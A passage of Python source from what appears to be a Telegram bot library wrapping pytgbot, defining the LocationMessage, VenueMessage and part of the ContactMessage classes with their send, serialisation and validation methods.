MediaGroupMessage class LocationMessage(ReturnableMessageBase): """ Use this method to send point on the map. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendlocation Parameters: :param latitude: Latitude of the location :type latitude: float :param longitude: Longitude of the location :type longitude: float Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param horizontal_accuracy: The radius of uncertainty for the location, measured in meters; 0-1500 :type horizontal_accuracy: float :param live_period: Period in seconds for which the location will be updated (see Live Locations, should be between 60 and 86400. :type live_period: int :param heading: For live locations, a direction in which the user is moving, in degrees. Must be between 1 and 360 if specified. :type heading: int :param proximity_alert_radius: For live locations, a maximum distance for proximity alerts about approaching another chat member, in meters. Must be between 1 and 100000 if specified. :type proximity_alert_radius: int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, latitude, longitude, receiver=None, reply_id=DEFAULT_MESSAGE_ID, horizontal_accuracy=None, live_period=None, heading=None, proximity_alert_radius=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send point on the map. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendlocation Parameters: :param latitude: Latitude of the location :type latitude: float :param longitude: Longitude of the location :type longitude: float Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param horizontal_accuracy: The radius of uncertainty for the location, measured in meters; 0-1500 :type horizontal_accuracy: float :param live_period: Period in seconds for which the location will be updated (see Live Locations, should be between 60 and 86400. :type live_period: int :param heading: For live locations, a direction in which the user is moving, in degrees. Must be between 1 and 360 if specified. :type heading: int :param proximity_alert_radius: For live locations, a maximum distance for proximity alerts about approaching another chat member, in meters. Must be between 1 and 100000 if specified. :type proximity_alert_radius: int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(LocationMessage, self).__init__() from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(latitude, float, parameter_name="latitude") self.latitude = latitude assert_type_or_raise(longitude, float, parameter_name="longitude") self.longitude = longitude assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(horizontal_accuracy, None, float, parameter_name="horizontal_accuracy") self.horizontal_accuracy = horizontal_accuracy assert_type_or_raise(live_period, None, int, parameter_name="live_period") self.live_period = live_period assert_type_or_raise(heading, None, int, parameter_name="heading") self.heading = heading assert_type_or_raise(proximity_alert_radius, None, int, parameter_name="proximity_alert_radius") self.proximity_alert_radius = proximity_alert_radius assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_location( latitude=self.latitude, longitude=self.longitude, chat_id=self.receiver, reply_to_message_id=self.reply_id, horizontal_accuracy=self.horizontal_accuracy, live_period=self.live_period, heading=self.heading, proximity_alert_radius=self.proximity_alert_radius, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this LocationMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(LocationMessage, self).to_array() array['latitude'] = float(self.latitude) # type float array['longitude'] = float(self.longitude) # type float if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['horizontal_accuracy'] = float(self.horizontal_accuracy) # type float array['live_period'] = int(self.live_period) # type int array['heading'] = int(self.heading) # type int array['proximity_alert_radius'] = int(self.proximity_alert_radius) # type int array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the LocationMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(LocationMessage, LocationMessage).validate_array(array) data['latitude'] = float(array.get('latitude')) data['longitude'] = float(array.get('longitude')) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['horizontal_accuracy'] = float(array.get('horizontal_accuracy')) if array.get('horizontal_accuracy') is not None else None data['live_period'] = int(array.get('live_period')) if array.get('live_period') is not None else None data['heading'] = int(array.get('heading')) if array.get('heading') is not None else None data['proximity_alert_radius'] = int(array.get('proximity_alert_radius')) if array.get('proximity_alert_radius') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new LocationMessage from a given dictionary. :return: new LocationMessage instance. :rtype: LocationMessage """ if not array: # None or {} return None # end if data = LocationMessage.validate_array(array) return LocationMessage(**data) # end def from_array def __str__(self): """ Implements `str(locationmessage_instance)` """ return "LocationMessage(latitude={self.latitude!r}, longitude={self.longitude!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, horizontal_accuracy={self.horizontal_accuracy!r}, live_period={self.live_period!r}, heading={self.heading!r}, proximity_alert_radius={self.proximity_alert_radius!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(locationmessage_instance)` """ return "LocationMessage(latitude={self.latitude!r}, longitude={self.longitude!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, horizontal_accuracy={self.horizontal_accuracy!r}, live_period={self.live_period!r}, heading={self.heading!r}, proximity_alert_radius={self.proximity_alert_radius!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in locationmessage_instance` """ return ( key in ["latitude", "longitude", "receiver", "reply_id", "horizontal_accuracy", "live_period", "heading", "proximity_alert_radius", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class LocationMessage class VenueMessage(ReturnableMessageBase): """ Use this method to send information about a venue. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendvenue Parameters: :param latitude: Latitude of the venue :type latitude: float :param longitude: Longitude of the venue :type longitude: float :param title: Name of the venue :type title: str|unicode :param address: Address of the venue :type address: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param foursquare_id: Foursquare identifier of the venue :type foursquare_id: str|unicode :param foursquare_type: Foursquare type of the venue, if known. (For example, "arts_entertainment/default", "arts_entertainment/aquarium" or "food/icecream".) :type foursquare_type: str|unicode :param google_place_id: Google Places identifier of the venue :type google_place_id: str|unicode :param google_place_type: Google Places type of the venue. (See supported types.) :type google_place_type: str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, latitude, longitude, title, address, receiver=None, reply_id=DEFAULT_MESSAGE_ID, foursquare_id=None, foursquare_type=None, google_place_id=None, google_place_type=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send information about a venue. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendvenue Parameters: :param latitude: Latitude of the venue :type latitude: float :param longitude: Longitude of the venue :type longitude: float :param title: Name of the venue :type title: str|unicode :param address: Address of the venue :type address: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param foursquare_id: Foursquare identifier of the venue :type foursquare_id: str|unicode :param foursquare_type: Foursquare type of the venue, if known. (For example, "arts_entertainment/default", "arts_entertainment/aquarium" or "food/icecream".) :type foursquare_type: str|unicode :param google_place_id: Google Places identifier of the venue :type google_place_id: str|unicode :param google_place_type: Google Places type of the venue. (See supported types.) :type google_place_type: str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(VenueMessage, self).__init__() from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(latitude, float, parameter_name="latitude") self.latitude = latitude assert_type_or_raise(longitude, float, parameter_name="longitude") self.longitude = longitude assert_type_or_raise(title, unicode_type, parameter_name="title") self.title = title assert_type_or_raise(address, unicode_type, parameter_name="address") self.address = address assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(foursquare_id, None, unicode_type, parameter_name="foursquare_id") self.foursquare_id = foursquare_id assert_type_or_raise(foursquare_type, None, unicode_type, parameter_name="foursquare_type") self.foursquare_type = foursquare_type assert_type_or_raise(google_place_id, None, unicode_type, parameter_name="google_place_id") self.google_place_id = google_place_id assert_type_or_raise(google_place_type, None, unicode_type, parameter_name="google_place_type") self.google_place_type = google_place_type assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_venue( latitude=self.latitude, longitude=self.longitude, title=self.title, address=self.address, chat_id=self.receiver, reply_to_message_id=self.reply_id, foursquare_id=self.foursquare_id, foursquare_type=self.foursquare_type, google_place_id=self.google_place_id, google_place_type=self.google_place_type, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this VenueMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(VenueMessage, self).to_array() array['latitude'] = float(self.latitude) # type float array['longitude'] = float(self.longitude) # type float array['title'] = u(self.title) # py2: type unicode, py3: type str array['address'] = u(self.address) # py2: type unicode, py3: type str if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['foursquare_id'] = u(self.foursquare_id) # py2: type unicode, py3: type str array['foursquare_type'] = u(self.foursquare_type) # py2: type unicode, py3: type str array['google_place_id'] = u(self.google_place_id) # py2: type unicode, py3: type str array['google_place_type'] = u(self.google_place_type) # py2: type unicode, py3: type str array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the VenueMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(VenueMessage, VenueMessage).validate_array(array) data['latitude'] = float(array.get('latitude')) data['longitude'] = float(array.get('longitude')) data['title'] = u(array.get('title')) data['address'] = u(array.get('address')) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['foursquare_id'] = u(array.get('foursquare_id')) if array.get('foursquare_id') is not None else None data['foursquare_type'] = u(array.get('foursquare_type')) if array.get('foursquare_type') is not None else None data['google_place_id'] = u(array.get('google_place_id')) if array.get('google_place_id') is not None else None data['google_place_type'] = u(array.get('google_place_type')) if array.get('google_place_type') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new VenueMessage from a given dictionary. :return: new VenueMessage instance. :rtype: VenueMessage """ if not array: # None or {} return None # end if data = VenueMessage.validate_array(array) return VenueMessage(**data) # end def from_array def __str__(self): """ Implements `str(venuemessage_instance)` """ return "VenueMessage(latitude={self.latitude!r}, longitude={self.longitude!r}, title={self.title!r}, address={self.address!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, foursquare_id={self.foursquare_id!r}, foursquare_type={self.foursquare_type!r}, google_place_id={self.google_place_id!r}, google_place_type={self.google_place_type!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(venuemessage_instance)` """ return "VenueMessage(latitude={self.latitude!r}, longitude={self.longitude!r}, title={self.title!r}, address={self.address!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, foursquare_id={self.foursquare_id!r}, foursquare_type={self.foursquare_type!r}, google_place_id={self.google_place_id!r}, google_place_type={self.google_place_type!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in venuemessage_instance` """ return ( key in ["latitude", "longitude", "title", "address", "receiver", "reply_id", "foursquare_id", "foursquare_type", "google_place_id", "google_place_type", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class VenueMessage class ContactMessage(ReturnableMessageBase): """ Use this method to send phone contacts. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendcontact Parameters: :param phone_number: Contact's phone number :type phone_number: str|unicode :param first_name: Contact's first name :type first_name: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param last_name: Contact's last name :type last_name: str|unicode :param vcard: Additional data about the contact in the form of a vCard, 0-2048 bytes :type vcard: str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, phone_number, first_name, receiver=None, reply_id=DEFAULT_MESSAGE_ID, last_name=None, vcard=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send phone contacts. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendcontact Parameters: :param phone_number: Contact's phone number :type phone_number: str|unicode :param first_name: Contact's first name :type first_name: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param last_name: Contact's last name :type last_name: str|unicode :param vcard: Additional data about the contact in the form of a vCard, 0-2048 bytes :type vcard: str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(ContactMessage, self).__init__() from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(phone_number, unicode_type, parameter_name="phone_number") self.phone_number = phone_number assert_type_or_raise(first_name, unicode_type, parameter_name="first_name") self.first_name = first_name assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(last_name, None, unicode_type, parameter_name="last_name") self.last_name = last_name assert_type_or_raise(vcard, None, unicode_type, parameter_name="vcard") self.vcard = vcard assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_contact( phone_number=self.phone_number, first_name=self.first_name, chat_id=self.receiver, reply_to_message_id=self.reply_id, last_name=self.last_name, vcard=self.vcard, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this ContactMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(ContactMessage, self).to_array() array['phone_number'] = u(self.phone_number) # py2: type unicode, py3: type str array['first_name'] = u(self.first_name) # py2: type unicode, py3: type str if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['last_name'] = u(self.last_name) # py2: type unicode, py3: type str array['vcard'] = u(self.vcard) # py2: type unicode, py3: type str array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the ContactMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(ContactMessage, ContactMessage).validate_array(array) data['phone_number'] = u(array.get('phone_number')) data['first_name'] = u(array.get('first_name')) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = 